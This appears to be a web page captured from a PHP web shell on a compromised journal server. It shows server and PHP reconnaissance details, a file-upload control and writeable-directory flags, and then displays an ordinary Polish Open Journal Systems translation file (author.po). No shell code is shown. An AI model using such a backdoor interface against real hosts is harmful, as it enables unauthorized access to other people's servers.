KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/pl_PL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/pl_PL/author.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-01-30T17:55:03+00:00\n"
"PO-Revision-Date: 2020-06-12 22:00+0000\n"
"Last-Translator: rl <[email protected]>\n"
"Language-Team: Polish <http://translate.pkp.sfu.ca/projects/ojs/author/pl_PL/"
">\n"
"Language: pl_PL\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 "
"|| n%100>=20) ? 1 : 2;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "author.submit"
msgstr "Nowe zgłoszenie"

msgid "author.track"
msgstr "Przesłane teksty"

msgid "author.competingInterests"
msgstr "<a target=\"_new\" class=\"action\" href=\"{$competingInterestGuidelinesUrl}\">Zbieżne zainteresowania</a>"

msgid "author.submit.submitArticle"
msgstr "Prześlij artykuł"

msgid "author.submit.stepsToSubmit"
msgstr "Przesłanie tekstu w 5 krokach"

msgid "author.submit.startHereTitle"
msgstr "Prześlij tekst do opublikowania w czasopiśmie"

msgid "author.submit.startHereLink"
msgstr "<a href=\"{$submitUrl}\" class=\"action\">Kliknij tutaj</a> aby przejść do formularza zgłoszenia."

msgid "author.submit.step1"
msgstr "Krok 1. Start"

msgid "author.submit.step2"
msgstr "Krok 2. Prześlij plik"

msgid "author.submit.step3"
msgstr "Krok 3. Wprowadź metadane"

msgid "author.submit.step4"
msgstr "Krok 4. Prześlij dodatkowe pliki"

msgid "author.submit.step4a"
msgstr "Krok 4a. Dodaj plik"

msgid "author.submit.step5"
msgstr "Krok 5. Potwierdź"

msgid "author.submit.start"
msgstr "Start"

msgid "author.submit.upload"
msgstr "Prześlij plik"

msgid "author.submit.metadata"
msgstr "Wprowadź metadane"

msgid "author.submit.supplementaryFiles"
msgstr "Prześlij dodatkowe pliki"

msgid "author.submit.confirmation"
msgstr "Potwierdź"

msgid "author.submit.notAccepting"
msgstr "Czasopismo nie przyjmuje obecnie nowych zgłoszeń."

msgid "author.submit.requestWaiver"
msgstr "Prośba o umorzenie płatności za publikację"

msgid "author.submit.addReasonsForWaiver"
msgstr "Proszę uzasadnić dlaczego płatność powinna być umorzona."

msgid "author.submit.mustEnterWaiverReason"
msgstr "Jeżeli aplikujesz o umorzenie płatności, musisz podać uzasadnienie."

msgid "author.submissions.queuedReviewSubsequent"
msgstr "W recenzji, etap {$round}"

msgid "author.submissions.queuedReviewRevisions"
msgstr "W recenzji: Wymagana korekta"

msgid "author.submissions.queuedEditingCopyedit"
msgstr "W korekcie: Wysłano prośbę o korektę"

msgid "author.submissions.queuedEditingProofread"
msgstr "W edycji: Wysłano prośbę o sprawdzenie wersji finalnej"

msgid "author.submissions.uploadCopyeditedVersion"
msgstr "Prześlij wersję po korekcie"

msgid "author.submissions.proofreadingCorrections"
msgstr "Korekta pliku do publikacji"

msgid "author.submissions.confirmDelete"
msgstr "Potwierdź usunięcie tekstu?"

msgid "author.submissions.viewStatus"
msgstr "Wyświetl status tekstu"

msgid "author.submissions.noSubmissions"
msgstr "Brak przesłanych tekstów."

msgid "author.submit.journalSection"
msgstr "Dział czasopisma"

msgid "author.submit.journalSectionDescription"
msgstr "Wybierz docelowy dział dla przesyłanego tekstu."

msgid "author.submit.submissionLocale"
msgstr "Język przesyłanego tekstu"

msgid "author.submit.submissionLocaleDescription"
msgstr "Czasopismo akceptuje teksty napisane w różnych językach. Wybierz w jakim języku został napisany tekst."

msgid "author.submit.verifyChecklist"
msgstr "Aby kontynuować, upewnij się, że wszystkie elementy listy zostały zaznaczone."

msgid "author.submit.copyrightNoticeAgree"
msgstr "Zapoznałem(am) się z prawami autorskimi dotyczącymi przesyłanego tekstu (ewentualny komenatrz dla redaktora można wpisać poniżej)."

msgid "author.submit.copyrightNoticeAgreeRequired"
msgstr "Aby kontynuować, upewnij się, że zapoznałeś(aś) się z prawami autorskimi."

msgid "author.submit.comments"
msgstr "Wpisz komentarz dla redaktora (opcjonalne)"

msgid "author.submit.form.sectionRequired"
msgstr "Aby kontynuować, upewnij się, że wybrałeś poprawny dział czasopisma dla przesyłanego tekstu."

msgid "author.submit.form.localeRequired"
msgstr "Aby kontynuować, wybierz język w jakim został napisany tekst."

msgid "author.submit.reorderInstructions"
msgstr "Zmień kolejność wyświetlania autorów."

msgid "author.submit.reorder"
msgstr "Zmień kolejnośc wyświetlania autorów"

msgid "author.submit.selectPrincipalContact"
msgstr "Główna osoba do kontaktu."

msgid "author.submit.addAuthor"
msgstr "Dodaj autora"

msgid "author.submit.deleteAuthor"
msgstr "Usuń autora"

msgid "author.submit.submissionIndexingDescription"
msgstr "Podaj słowa kluczowe dla zgłoszonego tekstu. Poszczególne słowa kluczowe oddziel od siebie za pomocą średnika (słowo kluczowe; słowo kluczowe; słowo kluczowe)."

msgid "author.submit.coverageInstructions"
msgstr "Określa zasięg geograficzny, chronologiczny i historyczny przedmiotu badań."

msgid "author.submit.languageInstructions"
msgstr "Angielski=en; Polski=pl. <a href=\"http://www.loc.gov/standards/iso639-2/php/code_list.php\" target=\"_blank\">Pozostałe kody</a>."

msgid "author.submit.form.authorRequired"
msgstr "Przynajmniej jeden autor jest wymagany."

msgid "author.submit.form.authorRequiredFields"
msgstr "Imię, nazwisko oraz adres e-mail każdego z autorów są wymagane."

msgid "author.submit.form.titleRequired"
msgstr "Podaj tytuł przesyłanego tekstu."

msgid "author.submit.form.abstractRequired"
msgstr "Podaj abstrakt przesyłanego tekstu."

msgid "author.submit.form.wordCountAlert"
msgstr "Przekroczyłeś(aś) maksymalną liczbę słów dla abstraktu."

msgid "author.submit.submissionFile"
msgstr "Plik z tekstem"

msgid "author.submit.uploadSubmissionFile"
msgstr "Prześlij plik z tekstem"

msgid "author.submit.replaceSubmissionFile"
msgstr "Zamień plik z tekstem"

msgid "author.submit.noSubmissionFile"
msgstr "Plik z tekstem nie został jeszcze wysłany."

msgid "author.submit.noSubmissionConfirm"
msgstr "Czy kontynuować bez przesłania pliku z tekstem?"

msgid "author.submit.supplementaryFilesInstructions"
msgstr "Jeżeli zajdzie taka konieczność, w tym miejscu możesz przesłać pliki pomocnicze. Dokumenty w dowolnym formacie mogą zawierać np. narzędzia badawcze, dane statystyczne, źródła które w innym wypadku były by niedostępne dla czytelników lub obrazy i tabele niemożliwe do umieszczenia w tekście."

msgid "author.submit.supplementaryFiles.saveToUpload"
msgstr "Kliknij Zapisz, aby przesłać plik."

msgid "author.submit.forgottenSubmitSuppFile"
msgstr "Czy kontynuować bez przesłania pliku pomocniczego?"

msgid "author.submit.noSupplementaryFiles"
msgstr "Pomocnicze pliki nie zostały dodane."

msgid "author.submit.backToSupplementaryFiles"
msgstr "Wróć do plików pomocniczych"

msgid "author.submit.confirmDeleteSuppFile"
msgstr "Czu usunąć plik pomocniczy?"

msgid "author.submit.uploadSuppFile"
msgstr "Prześlij plik pomocniczy"

msgid "author.submit.addSupplementaryFile"
msgstr "Dodaj plik pomocniczy"

msgid "author.submit.editSupplementaryFile"
msgstr "Edytuj plik pomocniczy"

msgid "author.submit.supplementaryFileData"
msgstr "Metadane dla plików pomocniczych"

msgid "author.submit.supplementaryFileDataDescription"
msgstr "Aby zindeksowac dodakowy materiał, podaj następujące dane dla pomocniczego pliku."

msgid "author.submit.supplementaryFileUpload"
msgstr "Plik pomocniczy"

msgid "author.submit.suppFile.createrOrOwner"
msgstr "Autor lub właściciel pliku"

msgid "author.submit.suppFile.researchInstrument"
msgstr "Narzędzie badawcze"

msgid "author.submit.suppFile.researchMaterials"
msgstr "Materiały badawcze"

msgid "author.submit.suppFile.researchResults"
msgstr "Rezultaty z badań"

msgid "author.submit.suppFile.transcripts"
msgstr "Transkrypcje"

msgid "author.submit.suppFile.dataAnalysis"
msgstr "Analizy"

msgid "author.submit.suppFile.dataSet"
msgstr "Zbiory danych"

msgid "author.submit.suppFile.sourceText"
msgstr "Tekst źródłowy"

msgid "author.submit.suppFile.briefDescription"
msgstr "Krótki opis"

msgid "author.submit.suppFile.availableToPeers"
msgstr "Udostępnij plik recenzentom (bez metadanych), jeżeli jego udostępnienie nie wpłynie negatywnie na proces ślepej recenzji."

msgid "author.submit.suppFile.publisherDescription"
msgstr "Użyj tylko z opublikowanymi materiałami."

msgid "author.submit.suppFile.dateDescription"
msgstr "Data zebrania danych lub utworzenia narzędzia badawczego."

msgid "author.submit.suppFile.sourceDescription"
msgstr "Nazwa studium lub innego źródła pochodzenia."

msgid "author.submit.suppFile.specifyOtherType"
msgstr "Określ inny rodzaj"

msgid "author.submit.suppFile.noFile"
msgstr "Żaden plik nie został przesłany."

msgid "author.submit.suppFile.form.titleRequired"
msgstr "Podaj nazwę pliku pomocniczego."

msgid "author.submit.suppFile.form.subjectRequired"
msgstr "Podaj temat."

msgid "author.submit.suppFile.form.descriptionRequired"
msgstr "Podaj opis."

msgid "author.suppFile.suppFilePublicIdentificationExists"
msgstr "Publiczny identyfikator pliku pomocniczego już istnieje."

msgid "author.suppFile.publicSuppFileIdentifier"
msgstr "Publiczny identyfikator pliku pomocniczego"

msgid "author.submit.confirmationDescription"
msgstr "Aby przesłać tekst do czasopisma {$journalTitle} kliknij Zakończ. Osoba podana jako główny autor tekstu otrzyma e-mail z potwierdzeniem przesłania tekstu. Od tej chwili możliwe jest również śledzenie statusu tekstu po zalogowaniu się na stronie czasopisma {$journalTitle}."

msgid "author.submit.noFiles"
msgstr "Żadne pliki nie zostały dołączone."

msgid "author.submit.filesSummary"
msgstr "Podsumowanie"

msgid "author.submit.finishSubmission"
msgstr "Zakończ"

msgid "author.submit.submissionComplete"
msgstr "Przesyłanie ukończone. Dziękujemy za zainteresowanie opublikowaniem tekstu w czasopiśmie {$journalTitle}."

msgid "author.article.uploadAuthorVersion"
msgstr "Prześlij poprawioną wersję"

msgid "author.article.copyeditedFile"
msgstr "Plik po korekcie"

msgid "author.article.authorRevisedFile"
msgstr "Plik autora"

msgid "author.submit.authorSubmitLoginMessage"
msgstr "Posiadanie konta użytkownika jest wymagane, aby móc przesłać teksty do publikacji w czasopismie."

msgid "author.submit.qualifyForWaiver"
msgstr "Proszę o umorzenie płatności za zgłoszenie tego tekstu"

msgid "author.submit.nextSteps"
msgstr "Następne kroki"

msgid "submission.submit.cancelSubmission"
msgstr "Możesz dokończyć zgłoszenie później. Niekompletne zgłoszenia znajdziesz w swoim panelu roboczym."

msgid "submission.submit.coverNote"
msgstr "Wiadomość dla redaktora"

msgid "submission.submit.privacyStatement"
msgstr "Polityka prywatności czasopisma"

KUNTUL | JINGKONTOT |